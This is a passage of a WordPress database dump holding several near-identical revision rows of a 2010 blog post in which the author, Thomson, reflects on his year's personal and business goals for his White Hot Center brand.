forward thinking vision, and became my map for accomplishing what I wanted. So I made my list, printed it out, and hung it on the wall next my computer for me to see every day. 2010 is the year I take account for what has materialized from that list. Here’s what I have accomplished this year (in no order of importance):\r\n\r\n<span style="color: #808080;"><strong>I’ve successfully reinvented myself and elevated my brand positioning. I am attracting more resources, the right partners, a bigger network of connections, and higher value clients that enable me to have a real impact on their business and life success. My early ideas have taken wonderful form in the world. I have completed the foundation necessary for me to build on going forward.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>I’ve established my presence as a credible writer, contributor, and thought leader in the areas of personal development, lifestyle design, value creation, creativity, innovation, and demand generation for global organizations and early-stage entrepreneurs alike. My tribe is growing every day.!</strong></span>\r\n\r\n<span style="color: #808080;"><strong>I’ve removed most of the complexity around the systems I use to get things done in running my business. I do things in an easy and relaxed way.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>I continue to live and work in a beautiful, nurturing place. In the Ojai orange grove–Amen!</strong></span>\r\n\r\n<span style="color: #808080;"><strong>I am in excellent health, at the right weight, exercising regularly. I feel awesome!</strong></span>\r\n\r\n<span style="color: #808080;"><strong>I get up in the morning and go to bed at night, and in between I do whatever I choose. I’ve blurred the line between work and play. I feel alive again and my passion for doing my life’s great work is a burning fire within me.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>All of my important relationships with the people I love are growing in depth, richness and loving acceptance each and every day. </strong></span>\r\n\r\n<em> </em>\r\n\r\nI am delighted to say that I am quite pleased with my progress thus far. I am moving with greater momentum in the direction of my vision for a bigger better future. I have a real sense that what I desire is here now. Yet I still have work to do. Here’s what didn’t get done this year:\r\n\r\n<span style="color: #808080;"><strong>I didn’t reach my revenue goals. Although I am being compensated at ever higher levels for the value I provide, I still didn’t meet what I believed were “achievable” numbers. However, I am very happy and grateful for the revenue I did receive!  I have to remind myself I am still at the early stages of playing a bigger game at a higher level. Patience and persistence is my mantra. Plus, the pursuit of money isn’t a driving force in my life.  I don’t think of money as the primary measurement for the value I create in the world, but I do believe the more money I attract, the more good I can do in the world. Money is important.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>My direct business development and lead generation activities continue to be sporadic and are not running smoothly in the background of all my other activities serving my current clients.  Although I consistently use all the social media tools available to build awareness to my scene, and trust in my expertise, I believe getting out in front of more people would be a good thing for me! I want to serve and be of value to more and more people. Speaking to groups will become a bigger priority in my impact and influence building tool kit.</strong></span>\r\n\r\n<strong>Humility and gratitude for everything in the narrative of my life.</strong>\r\nThe year-end is a time for me to reflect on being truly grateful for all the blessings in my life. Challenges are life’s great blessings.  I couldn’t really grow and expand without them. Through it all, I am reminded with humility, that it is a gift simply to be able to play the game of life as a free, independent, creative entrepreneur creating and sharing my gifts through the expanding quality of my presence.\r\n\r\nI am continuing to learn, grow and expand. I’m always playing on the edges of my comfort zone. Best of all, I allow myself to marvel at how far I can take a formless idea and make it come alive in the world. I am filled with awe, hope and passion to continue my quest to inspire, contribute, and make a bigger difference for my fellow entrepreneurs.\r\n\r\nI wish all my loyal readers, and newcomers to the WHC blog, a joyous Holiday Season and a Prosperous New Year! Thank you all for your support of my work here! I’m looking forward to helping you to connect and believe in your big ideas for your own growth and expansion.\r\n\r\nTo your inspired success,\r\nThomson', 'Reflections on the year 2010.', 0, '', 'inherit', 'open', 'open', '', '1330-revision-3', '', '', '2010-12-17 14:48:02', '2010-12-17 21:48:02', '', 1330, 'http://www.whitehotcenter.com/2010/12/17/1330-revision-3/', 0, 'revision', '', 0),
(1335, 2, '2010-12-17 14:48:15', '2010-12-17 21:48:15', '<img class="alignnone size-full wp-image-1331" title="WHCchristmascard-LZ" src="http://whc.fbdev.org/wp-content/uploads/2010/12/WHCchristmascard-LZ.gif" alt="" width="500" height="250" />\r\n<h2>This time of year things slow down to a pace where I’m able to think about my progress towards achieving my important goals, and creating new ideas on what I want to accomplish next.  I’m fairly confident many of you are doing the same right thing right about now.</h2>\r\nAt the beginning of the year, I wrote an entry in my journal where I felt 2010 was the year that “it’ll all come together” for me. I began the year with a goal of dedicating more of my focus and creative energies to building the White Hot Center brand, while at the same time developing more corporate clients in my brand strategy consulting and design practice. Sometimes these two things are in conflict with each other. Now at year’s end, I find myself reflecting on my progress aligning these two interests to reach the goals I’ve set for myself\r\n\r\nI don’t ever make resolutions at the New Year. But I do believe the end of something and the beginning of what’s next is a perfectly fine time to step back and look at what’s been going on. I ask myself lots of “why” questions. Beginning with “why am I doing this?” Life success is a life’s work in progress. Along the journey, I find it helpful to take a compass heading. Asking myself some important questions, and listening to my answers is how I do it.\r\n\r\n<strong>This year “it” all came together!</strong>\r\nThree years ago, at 54, I made a decision to take my life in a completely new direction. I called this transition my “do-over”. I yearned for greater challenges intellectually, spiritually and professionally, and I wanted my work to serve people at higher levels of value, and in ways that are more meaningful for them and for me. The White Hot Center is a big part of my vision and transition.\r\n\r\nAt that time, I made a statement to myself, “in order for me to feel satisfied with my progress towards achieving my new goals, these (list of things) will have to be present in my life within three years time”. That outlined my forward thinking vision, and became my map for accomplishing what I wanted. So I made my list, printed it out, and hung it on the wall next my computer for me to see every day. 2010 is the year I take account for what has materialized from that list. Here’s what I have accomplished this year (in no order of importance):\r\n\r\n<span style="color: #808080;"><strong>I’ve successfully reinvented myself and elevated my brand positioning. I am attracting more resources, the right partners, a bigger network of connections, and higher value clients that enable me to have a real impact on their business and life success. My early ideas have taken wonderful form in the world. I have completed the foundation necessary for me to build on going forward.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>I’ve established my presence as a credible writer, contributor, and thought leader in the areas of personal development, lifestyle design, value creation, creativity, innovation, and demand generation for global organizations and early-stage entrepreneurs alike. My tribe is growing every day.!</strong></span>\r\n\r\n<span style="color: #808080;"><strong>I’ve removed most of the complexity around the systems I use to get things done in running my business. I do things in an easy and relaxed way.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>I continue to live and work in a beautiful, nurturing place. In the Ojai orange grove–Amen!</strong></span>\r\n\r\n<span style="color: #808080;"><strong>I am in excellent health, at the right weight, exercising regularly. I feel awesome!</strong></span>\r\n\r\n<span style="color: #808080;"><strong>I get up in the morning and go to bed at night, and in between I do whatever I choose. I’ve blurred the line between work and play. I feel alive again and my passion for doing my life’s great work is a burning fire within me.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>All of my important relationships with the people I love are growing in depth, richness and loving acceptance each and every day. </strong></span>\r\n\r\n<em> </em>\r\n\r\nI am delighted to say that I am quite pleased with my progress thus far. I am moving with greater momentum in the direction of my vision for a bigger better future. I have a real sense that what I desire is here now. Yet I still have work to do. Here’s what didn’t get done this year:\r\n\r\n<span style="color: #808080;"><strong>I didn’t reach my revenue goals. Although I am being compensated at ever higher levels for the value I provide, I still didn’t meet what I believed were “achievable” numbers. However, I am very happy and grateful for the revenue I did receive!  I have to remind myself I am still at the early stages of playing a bigger game at a higher level. Patience and persistence is my mantra. Plus, the pursuit of money isn’t a driving force in my life.  I don’t think of money as the primary measurement for the value I create in the world, but I do believe the more money I attract, the more good I can do in the world. Money is important.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>My direct business development and lead generation activities continue to be sporadic and are not running smoothly in the background of all my other activities serving my current clients.  Although I consistently use all the social media tools available to build awareness to my scene, and trust in my expertise, I believe getting out in front of more people would be a good thing for me! I want to serve and be of value to more and more people. Speaking to groups will become a bigger priority in my impact and influence building tool kit.</strong></span>\r\n\r\n<strong>Humility and gratitude for everything in the narrative of my life.</strong>\r\nThe year-end is a time for me to reflect on being truly grateful for all the blessings in my life. Challenges are life’s great blessings.  I couldn’t really grow and expand without them. Through it all, I am reminded with humility, that it is a gift simply to be able to play the game of life as a free, independent, creative entrepreneur creating and sharing my gifts through the expanding quality of my presence.\r\n\r\nI am continuing to learn, grow and expand. I’m always playing on the edges of my comfort zone. Best of all, I allow myself to marvel at how far I can take a formless idea and make it come alive in the world. I am filled with awe, hope and passion to continue my quest to inspire, contribute, and make a bigger difference for my fellow entrepreneurs.\r\n\r\nI wish all my loyal readers, and newcomers to the WHC blog, a joyous Holiday Season and a Prosperous New Year! Thank you all for your support of my work here! I’m looking forward to helping you to connect and believe in your big ideas for your own growth and expansion.\r\n\r\nTo your inspired success,\r\nThomson', 'Reflections on the year 2010.', 0, '', 'inherit', 'open', 'open', '', '1330-revision-4', '', '', '2010-12-17 14:48:15', '2010-12-17 21:48:15', '', 1330, 'http://www.whitehotcenter.com/2010/12/17/1330-revision-4/', 0, 'revision', '', 0),
(1336, 2, '2010-12-17 14:49:44', '2010-12-17 21:49:44', '<img class="alignnone size-full wp-image-1331" title="WHCchristmascard-LZ" src="http://whc.fbdev.org/wp-content/uploads/2010/12/WHCchristmascard-LZ.gif" alt="" width="500" height="250" />\r\n<h2>This time of year things slow down to a pace where I’m able to think about my progress towards achieving my important goals, and creating new ideas on what I want to accomplish next.  I’m fairly confident many of you are doing the same right thing right about now.</h2>\r\nAt the beginning of the year, I wrote an entry in my journal where I felt 2010 would be the year that “it’ll all come together” for me. I began 2010 with a goal of dedicating more of my focus and creative energies to building the White Hot Center brand, while at the same time developing more corporate clients in my brand strategy consulting and design practice. Sometimes these two things are in conflict with each other. Now at year’s end, I find myself reflecting on my progress aligning these two interests to reach the goals I’ve set for myself\r\n\r\nI don’t ever make resolutions at the New Year. But I do believe the end of something and the beginning of what’s next is a perfectly fine time to step back and look at what’s been going on. I ask myself lots of “why” questions. Beginning with “why am I doing this?” Life success is a life’s work in progress. Along the journey, I find it helpful to take a compass heading. Asking myself some important questions, and listening to my answers is how I do it.\r\n\r\n<strong>This year “it” all came together!</strong>\r\nThree years ago, at 54, I made a decision to take my life in a completely new direction. I called this transition my “do-over”. I yearned for greater challenges intellectually, spiritually and professionally, and I wanted my work to serve people at higher levels of value, and in ways that are more meaningful for them and for me. The White Hot Center is a big part of my vision and transition.\r\n\r\nAt that time, I made a statement to myself, “in order for me to feel satisfied with my progress towards achieving my new goals, these (list of things) will have to be present in my life within three years time”. That outlined my forward thinking vision, and became my map for accomplishing what I wanted. So I made my list, printed it out, and hung it on the wall next my computer for me to see every day. 2010 is the year I take account for what has materialized from that list. Here’s what I have accomplished this year (in no order of importance):\r\n\r\n<span style="color: #808080;"><strong>I’ve successfully reinvented myself and elevated my brand positioning. I am attracting more resources, the right partners, a bigger network of connections, and higher value clients that enable me to have a real impact on their business and life success. My early ideas have taken wonderful form in the world. I have completed the foundation necessary for me to build on going forward.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>I’ve established my presence as a credible writer, contributor, and thought leader in the areas of personal development, lifestyle design, value creation, creativity, innovation, and demand generation for global organizations and early-stage entrepreneurs alike. My tribe is growing every day.!</strong></span>\r\n\r\n<span style="color: #808080;"><strong>I’ve removed most of the complexity around the systems I use to get things done in running my business. I do things in an easy and relaxed way.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>I continue to live and work in a beautiful, nurturing place. In the Ojai orange grove–Amen!</strong></span>\r\n\r\n<span style="color: #808080;"><strong>I am in excellent health, at the right weight, exercising regularly. I feel awesome!</strong></span>\r\n\r\n<span style="color: #808080;"><strong>I get up in the morning and go to bed at night, and in between I do whatever I choose. I’ve blurred the line between work and play. I feel alive again and my passion for doing my life’s great work is a burning fire within me.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>All of my important relationships with the people I love are growing in depth, richness and loving acceptance each and every day. </strong></span>\r\n\r\n<em> </em>\r\n\r\nI am delighted to say that I am quite pleased with my progress thus far. I am moving with greater momentum in the direction of my vision for a bigger better future. I have a real sense that what I desire is here now. Yet I still have work to do. Here’s what didn’t get done this year:\r\n\r\n<span style="color: #808080;"><strong>I didn’t reach my revenue goals. Although I am being compensated at ever higher levels for the value I provide, I still didn’t meet what I believed were “achievable” numbers. However, I am very happy and grateful for the revenue I did receive!  I have to remind myself I am still at the early stages of playing a bigger game at a higher level. Patience and persistence is my mantra. Plus, the pursuit of money isn’t a driving force in my life.  I don’t think of money as the primary measurement for the value I create in the world, but I do believe the more money I attract, the more good I can do in the world. Money is important.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>My direct business development and lead generation activities continue to be sporadic and are not running smoothly in the background of all my other activities serving my current clients.  Although I consistently use all the social media tools available to build awareness to my scene, and trust in my expertise, I believe getting out in front of more people would be a good thing for me! I want to serve and be of value to more and more people. Speaking to groups will become a bigger priority in my impact and influence building tool kit.</strong></span>\r\n\r\n<strong>Humility and gratitude for everything in the narrative of my life.</strong>\r\nThe year-end is a time for me to reflect on being truly grateful for all the blessings in my life. Challenges are life’s great blessings.  I couldn’t really grow and expand without them. Through it all, I am reminded with humility, that it is a gift simply to be able to play the game of life as a free, independent, creative entrepreneur creating and sharing my gifts through the expanding quality of my presence.\r\n\r\nI am continuing to learn, grow and expand. I’m always playing on the edges of my comfort zone. Best of all, I allow myself to marvel at how far I can take a formless idea and make it come alive in the world. I am filled with awe, hope and passion to continue my quest to inspire, contribute, and make a bigger difference for my fellow entrepreneurs.\r\n\r\nI wish all my loyal readers, and newcomers to the WHC blog, a joyous Holiday Season and a Prosperous New Year! Thank you all for your support of my work here! I’m looking forward to helping you to connect and believe in your big ideas for your own growth and expansion.\r\n\r\nTo your inspired success,\r\nThomson', 'Reflections on the year 2010.', 0, '', 'inherit', 'open', 'open', '', '1330-revision-5', '', '', '2010-12-17 14:49:44', '2010-12-17 21:49:44', '', 1330, 'http://www.whitehotcenter.com/2010/12/17/1330-revision-5/', 0, 'revision', '', 0),
(1337, 2, '2010-12-17 14:49:52', '2010-12-17 21:49:52', '<img class="alignnone size-full wp-image-1331" title="WHCchristmascard-LZ" src="http://whc.fbdev.org/wp-content/uploads/2010/12/WHCchristmascard-LZ.gif" alt="" width="500" height="250" />\r\n<h2>This time of year things slow down to a pace where I’m able to think about my progress towards achieving my important goals, and creating new ideas on what I want to accomplish next.  I’m fairly confident many of you are doing the same right thing right about now.</h2>\r\nAt the beginning of the year, I wrote an entry in my journal where I felt 2010 would be the year that “it’ll all come together” for me. I began 2010 with a goal of dedicating more of my focus and creative energies to building the White Hot Center brand, while at the same time developing more corporate clients in my brand strategy consulting and design practice. Sometimes these two things are in conflict with each other. Now at year’s end, I find myself reflecting on my progress aligning these two interests to reach the goals I’ve set for myself\r\n\r\nI don’t ever make resolutions at the New Year. But I do believe the end of something and the beginning of what’s next is a perfectly fine time to step back and look at what’s been going on. I ask myself lots of “why” questions. Beginning with “why am I doing this?” Life success is a life’s work in progress. Along the journey, I find it helpful to take a compass heading. Asking myself some important questions, and listening to my answers is how I do it.\r\n\r\n<strong>This year “it” all came together!</strong>\r\nThree years ago, at 54, I made a decision to take my life in a completely new direction. I called this transition my “do-over”. I yearned for greater challenges intellectually, spiritually and professionally, and I wanted my work to serve people at higher levels of value, and in ways that are more meaningful for them and for me. The White Hot Center is a big part of my vision and transition.\r\n\r\nAt that time, I made a statement to myself, “in order for me to feel satisfied with my progress towards achieving my new goals, these (list of things) will have to be present in my life within three years time”. That outlined my forward thinking vision, and became my map for accomplishing what I wanted. So I made my list, printed it out, and hung it on the wall next my computer for me to see every day. 2010 is the year I take account for what has materialized from that list. Here’s what I have accomplished this year (in no order of importance):\r\n\r\n<span style="color: #808080;"><strong>I’ve successfully reinvented myself and elevated my brand positioning. I am attracting more resources, the right partners, a bigger network of connections, and higher value clients that enable me to have a real impact on their business and life success. My early ideas have taken wonderful form in the world. I have completed the foundation necessary for me to build on going forward.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>I’ve established my presence as a credible writer, contributor, and thought leader in the areas of personal development, lifestyle design, value creation, creativity, innovation, and demand generation for global organizations and early-stage entrepreneurs alike. My tribe is growing every day.!</strong></span>\r\n\r\n<span style="color: #808080;"><strong>I’ve removed most of the complexity around the systems I use to get things done in running my business. I do things in an easy and relaxed way.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>I continue to live and work in a beautiful, nurturing place. In the Ojai orange grove–Amen!</strong></span>\r\n\r\n<span style="color: #808080;"><strong>I am in excellent health, at the right weight, exercising regularly. I feel awesome!</strong></span>\r\n\r\n<span style="color: #808080;"><strong>I get up in the morning and go to bed at night, and in between I do whatever I choose. I’ve blurred the line between work and play. I feel alive again and my passion for doing my life’s great work is a burning fire within me.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>All of my important relationships with the people I love are growing in depth, richness and loving acceptance each and every day. </strong></span>\r\n\r\n<em> </em>\r\n\r\nI am delighted to say that I am quite pleased with my progress thus far. I am moving with greater momentum in the direction of my vision for a bigger better future. I have a real sense that what I desire is here now. Yet I still have work to do. Here’s what didn’t get done this year:\r\n\r\n<span style="color: #808080;"><strong>I didn’t reach my revenue goals. Although I am being compensated at ever higher levels for the value I provide, I still didn’t meet what I believed were “achievable” numbers. However, I am very happy and grateful for the revenue I did receive!  I have to remind myself I am still at the early stages of playing a bigger game at a higher level. Patience and persistence is my mantra. Plus, the pursuit of money isn’t a driving force in my life.  I don’t think of money as the primary measurement for the value I create in the world, but I do believe the more money I attract, the more good I can do in the world. Money is important.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>My direct business development and lead generation activities continue to be sporadic and are not running smoothly in the background of all my other activities serving my current clients.  Although I consistently use all the social media tools available to build awareness to my scene, and trust in my expertise, I believe getting out in front of more people would be a good thing for me! I want to serve and be of value to more and more people. Speaking to groups will become a bigger priority in my impact and influence building tool kit.</strong></span>\r\n\r\n<strong>Humility and gratitude for everything in the narrative of my life.</strong>\r\nThe year-end is a time for me to reflect on being truly grateful for all the blessings in my life. Challenges are life’s great blessings.  I couldn’t really grow and expand without them. Through it all, I am reminded with humility, that it is a gift simply to be able to play the game of life as a free, independent, creative entrepreneur creating and sharing my gifts through the expanding quality of my presence.\r\n\r\nI am continuing to learn, grow and expand. I’m always playing on the edges of my comfort zone. Best of all, I allow myself to marvel at how far I can take a formless idea and make it come alive in the world. I am filled with awe, hope and passion to continue my quest to inspire, contribute, and make a bigger difference for my fellow entrepreneurs.\r\n\r\nI wish all my loyal readers, and newcomers to the WHC blog, a joyous Holiday Season and a Prosperous New Year! Thank you all for your support of my work here! I’m looking forward to helping you to connect and believe in your big ideas for your own growth and expansion.\r\n\r\nTo your inspired success,\r\nThomson', 'Reflections on the year 2010.', 0, '', 'inherit', 'open', 'open', '', '1330-revision-6', '', '', '2010-12-17 14:49:52', '2010-12-17 21:49:52', '', 1330, 'http://www.whitehotcenter.com/2010/12/17/1330-revision-6/', 0, 'revision', '', 0),
(1338, 2, '2010-12-17 14:53:03', '2010-12-17 21:53:03', '<img class="alignnone size-full wp-image-1331" title="WHCchristmascard-LZ" src="http://whc.fbdev.org/wp-content/uploads/2010/12/WHCchristmascard-LZ.gif" alt="" width="500" height="250" />\r\n<h2>This time of year things slow down to a pace where I’m able to think about my progress towards achieving my important goals, and creating new ideas on what I want to accomplish next.  I’m fairly confident many of you are doing the same right thing right about now.</h2>\r\nAt the beginning of the year, I wrote an entry in my journal where I felt 2010 would be the year that “it’ll all come together” for me. I began 2010 with a goal of dedicating more of my focus and creative energies to building the White Hot Center brand, while at the same time developing more corporate clients in my brand strategy consulting and design practice. Sometimes these two things are in conflict with each other. Now at year’s end, I find myself reflecting on my progress aligning these two interests to reach the goals I’ve set for myself.\r\n\r\nI don’t ever make resolutions at the New Year. But I do believe the end of something and the beginning of what’s next is a perfectly fine time to step back and look at what’s been going on. I ask myself lots of “why” questions. Beginning with “why am I doing this?” Life success is a life’s work in progress. Along the journey, I find it helpful to take a compass heading. Asking myself some important questions, and listening to my answers is how I roll.\r\n\r\n<strong>This year “it” all came together!</strong>\r\nThree years ago, at 54, I made a decision to take my life in a completely new direction. I called this transition my “do-over”. I yearned for greater challenges intellectually, spiritually and professionally, and I wanted my work to serve people at higher levels of value, and in ways that are more meaningful for them and for me. The White Hot Center is a big part of my vision and transition.\r\n\r\nAt that time, I made a statement to myself, “in order for me to feel satisfied with my progress towards achieving my new goals, these (list of things) will have to be present in my life within three years time”. That outlined my forward thinking vision, and became my map for accomplishing what I wanted. So I made my list, printed it out, and hung it on the wall next my computer for me to see every day. 2010 is the year I take account for what has materialized from that list. Here’s what I have accomplished this year (in no order of importance):\r\n\r\n<span style="color: #ff6600;"><strong>I’ve successfully reinvented myself and elevated my brand positioning. I am attracting more resources, the right partners, a bigger network of connections, and higher value clients that enable me to have a real impact on their business and life success. My early ideas have taken wonderful form in the world. I have completed the foundation necessary for me to build on going forward.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>I’ve established my presence as a credible writer, contributor, and thought leader in the areas of personal development, lifestyle design, value creation, creativity, innovation, and demand generation for global organizations and early-stage entrepreneurs alike. My tribe is growing every day.!</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>I’ve removed most of the complexity around the systems I use to get things done in running my business. I do things in an easy and relaxed way.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>I continue to live and work in a beautiful, nurturing place. In the Ojai orange grove–Amen!</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>I am in excellent health, at the right weight, exercising regularly. I feel awesome!</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>I get up in the morning and go to bed at night, and in between I do whatever I choose. I’ve blurred the line between work and play. I feel alive again and my passion for doing my life’s great work is a burning fire within me.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>All of my important relationships with the people I love are growing in depth, richness and loving acceptance each and every day. </strong></span>\r\n\r\n<em> </em>\r\n\r\nI am delighted to say that I am quite pleased with my progress thus far. I am moving with greater momentum in the direction of my vision for a bigger better future. I have a real sense that what I desire is here now. Yet I still have work to do. Here’s what didn’t get done this year:\r\n\r\n<span style="color: #ff6600;"><strong>I didn’t reach my revenue goals. Although I am being compensated at ever higher levels for the value I provide, I still didn’t meet what I believed were “achievable” numbers. However, I am very happy and grateful for the revenue I did receive!  I have to remind myself I am still at the early stages of playing a bigger game at a higher level. Patience and persistence is my mantra. Plus, the pursuit of money isn’t a driving force in my life.  I don’t think of money as the primary measurement for the value I create in the world, but I do believe the more money I attract, the more good I can do in the world. Money is important.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>My direct business development and lead generation activities continue to be sporadic and are not running smoothly in the background of all my other activities serving my current clients.  Although I consistently use all the social media tools available to build awareness to my scene, and trust in my expertise, I believe getting out in front of more people would be a good thing for me! I want to serve and be of value to more and more people. Speaking to groups will become a bigger priority in my impact and influence building tool kit.</strong></span>\r\n\r\n<strong>Humility and gratitude for everything in the narrative of my life.</strong>\r\nThe year-end is a time for me to reflect on being truly grateful for all the blessings in my life. Challenges are life’s great blessings.  I couldn’t really grow and expand without them. Through it all, I am reminded with humility, that it is a gift simply to be able to play the game of life as a free, independent, creative entrepreneur creating and sharing my gifts through the expanding quality of my presence.\r\n\r\nI am continuing to learn, grow and expand. I’m always playing on the edges of my comfort zone. Best of all, I allow myself to marvel at how far I can take a formless idea and make it come alive in the world. I am filled with awe, hope and passion to continue my quest to inspire, contribute, and make a bigger difference for my fellow entrepreneurs.\r\n\r\nI wish all my loyal readers, and newcomers to the WHC blog, a joyous Holiday Season and a Prosperous New Year! Thank you all for your support of my work here! I’m looking forward to helping you to connect and believe in your big ideas for your own growth and expansion.\r\n\r\nTo your inspired success,\r\nThomson', 'Reflections on the year 2010.', 0, '', 'inherit', 'open', 'open', '', '1330-revision-7', '', '', '2010-12-17 14:53:03', '2010-12-17 21:53:03', '', 1330, 'http://www.whitehotcenter.com/2010/12/17/1330-revision-7/', 0, 'revision', '', 0);
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(1339, 2, '2010-12-17 14:53:27', '2010-12-17 21:53:27', '<img class="alignnone size-full wp-image-1331" title="WHCchristmascard-LZ" src="http://whc.fbdev.org/wp-content/uploads/2010/12/WHCchristmascard-LZ.gif" alt="" width="500" height="250" />\r\n<h2>This time of year things slow down to a pace where I’m able to think about my progress towards achieving my important goals, and creating new ideas on what I want to accomplish next.  I’m fairly confident many of you are doing the same right thing right about now.</h2>\r\nAt the beginning of the year, I wrote an entry in my journal where I felt 2010 would be the year that “it’ll all come together” for me. I began 2010 with a goal of dedicating more of my focus and creative energies to building the White Hot Center brand, while at the same time developing more corporate clients in my brand strategy consulting and design practice. Sometimes these two things are in conflict with each other. Now at year’s end, I find myself reflecting on my progress aligning these two interests to reach the goals I’ve set for myself.\r\n\r\nI don’t ever make resolutions at the New Year. But I do believe the end of something and the beginning of what’s next is a perfectly fine time to step back and look at what’s been going on. I ask myself lots of “why” questions. Beginning with “why am I doing this?” Life success is a life’s work in progress. Along the journey, I find it helpful to take a compass heading. Asking myself some important questions, and listening to my answers is how I roll.\r\n\r\n<strong>This year “it” all came together!</strong>\r\nThree years ago, at 54, I made a decision to take my life in a completely new direction. I called this transition my “do-over”. I yearned for greater challenges intellectually, spiritually and professionally, and I wanted my work to serve people at higher levels of value, and in ways that are more meaningful for them and for me. The White Hot Center is a big part of my vision and transition.\r\n\r\nAt that time, I made a statement to myself, “in order for me to feel satisfied with my progress towards achieving my new goals, these (list of things) will have to be present in my life within three years time”. That outlined my forward thinking vision, and became my map for accomplishing what I wanted. So I made my list, printed it out, and hung it on the wall next my computer for me to see every day. 2010 is the year I take account for what has materialized from that list. Here’s what I have accomplished this year (in no order of importance):\r\n\r\n<em><span style="color: #ff6600;"><strong>I’ve successfully reinvented myself and elevated my brand positioning. I am attracting more resources, the right partners, a bigger network of connections, and higher value clients that enable me to have a real impact on their business and life success. My early ideas have taken wonderful form in the world. I have completed the foundation necessary for me to build on going forward.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I’ve established my presence as a credible writer, contributor, and thought leader in the areas of personal development, lifestyle design, value creation, creativity, innovation, and demand generation for global organizations and early-stage entrepreneurs alike. My tribe is growing every day.!</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I’ve removed most of the complexity around the systems I use to get things done in running my business. I do things in an easy and relaxed way.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I continue to live and work in a beautiful, nurturing place. In the Ojai orange grove–Amen!</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I am in excellent health, at the right weight, exercising regularly. I feel awesome!</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I get up in the morning and go to bed at night, and in between I do whatever I choose. I’ve blurred the line between work and play. I feel alive again and my passion for doing my life’s great work is a burning fire within me.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>All of my important relationships with the people I love are growing in depth, richness and loving acceptance each and every day. </strong></span></em>\r\n\r\n<em> </em>\r\n\r\nI am delighted to say that I am quite pleased with my progress thus far. I am moving with greater momentum in the direction of my vision for a bigger better future. I have a real sense that what I desire is here now. Yet I still have work to do. Here’s what didn’t get done this year:\r\n\r\n<em><span style="color: #ff6600;"><strong>I didn’t reach my revenue goals. Although I am being compensated at ever higher levels for the value I provide, I still didn’t meet what I believed were “achievable” numbers. However, I am very happy and grateful for the revenue I did receive!  I have to remind myself I am still at the early stages of playing a bigger game at a higher level. Patience and persistence is my mantra. Plus, the pursuit of money isn’t a driving force in my life.  I don’t think of money as the primary measurement for the value I create in the world, but I do believe the more money I attract, the more good I can do in the world. Money is important.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>My direct business development and lead generation activities continue to be sporadic and are not running smoothly in the background of all my other activities serving my current clients.  Although I consistently use all the social media tools available to build awareness to my scene, and trust in my expertise, I believe getting out in front of more people would be a good thing for me! I want to serve and be of value to more and more people. Speaking to groups will become a bigger priority in my impact and influence building tool kit.</strong></span></em>\r\n\r\n<strong>Humility and gratitude for everything in the narrative of my life.</strong>\r\nThe year-end is a time for me to reflect on being truly grateful for all the blessings in my life. Challenges are life’s great blessings.  I couldn’t really grow and expand without them. Through it all, I am reminded with humility, that it is a gift simply to be able to play the game of life as a free, independent, creative entrepreneur creating and sharing my gifts through the expanding quality of my presence.\r\n\r\nI am continuing to learn, grow and expand. I’m always playing on the edges of my comfort zone. Best of all, I allow myself to marvel at how far I can take a formless idea and make it come alive in the world. I am filled with awe, hope and passion to continue my quest to inspire, contribute, and make a bigger difference for my fellow entrepreneurs.\r\n\r\nI wish all my loyal readers, and newcomers to the WHC blog, a joyous Holiday Season and a Prosperous New Year! Thank you all for your support of my work here! I’m looking forward to helping you to connect and believe in your big ideas for your own growth and expansion.\r\n\r\nTo your inspired success,\r\nThomson', 'Reflections on the year 2010.', 0, '', 'inherit', 'open', 'open', '', '1330-revision-8', '', '', '2010-12-17 14:53:27', '2010-12-17 21:53:27', '', 1330, 'http://www.whitehotcenter.com/2010/12/17/1330-revision-8/', 0, 'revision', '', 0),
(1340, 2, '2010-12-17 14:53:36', '2010-12-17 21:53:36', '<img class="alignnone size-full wp-image-1331" title="WHCchristmascard-LZ" src="http://whc.fbdev.org/wp-content/uploads/2010/12/WHCchristmascard-LZ.gif" alt="" width="500" height="250" />\r\n<h2>This time of year things slow down to a pace where I’m able to think about my progress towards achieving my important goals, and creating new ideas on what I want to accomplish next.  I’m fairly confident many of you are doing the same right thing right about now.</h2>\r\nAt the beginning of the year, I wrote an entry in my journal where I felt 2010 would be the year that “it’ll all come together” for me. I began 2010 with a goal of dedicating more of my focus and creative energies to building the White Hot Center brand, while at the same time developing more corporate clients in my brand strategy consulting and design practice. Sometimes these two things are in conflict with each other. Now at year’s end, I find myself reflecting on my progress aligning these two interests to reach the goals I’ve set for myself.\r\n\r\nI don’t ever make resolutions at the New Year. But I do believe the end of something and the beginning of what’s next is a perfectly fine time to step back and look at what’s been going on. I ask myself lots of “why” questions. Beginning with “why am I doing this?” Life success is a life’s work in progress. Along the journey, I find it helpful to take a compass heading. Asking myself some important questions, and listening to my answers is how I roll.\r\n\r\n<strong>This year “it” all came together!</strong>\r\nThree years ago, at 54, I made a decision to take my life in a completely new direction. I called this transition my “do-over”. I yearned for greater challenges intellectually, spiritually and professionally, and I wanted my work to serve people at higher levels of value, and in ways that 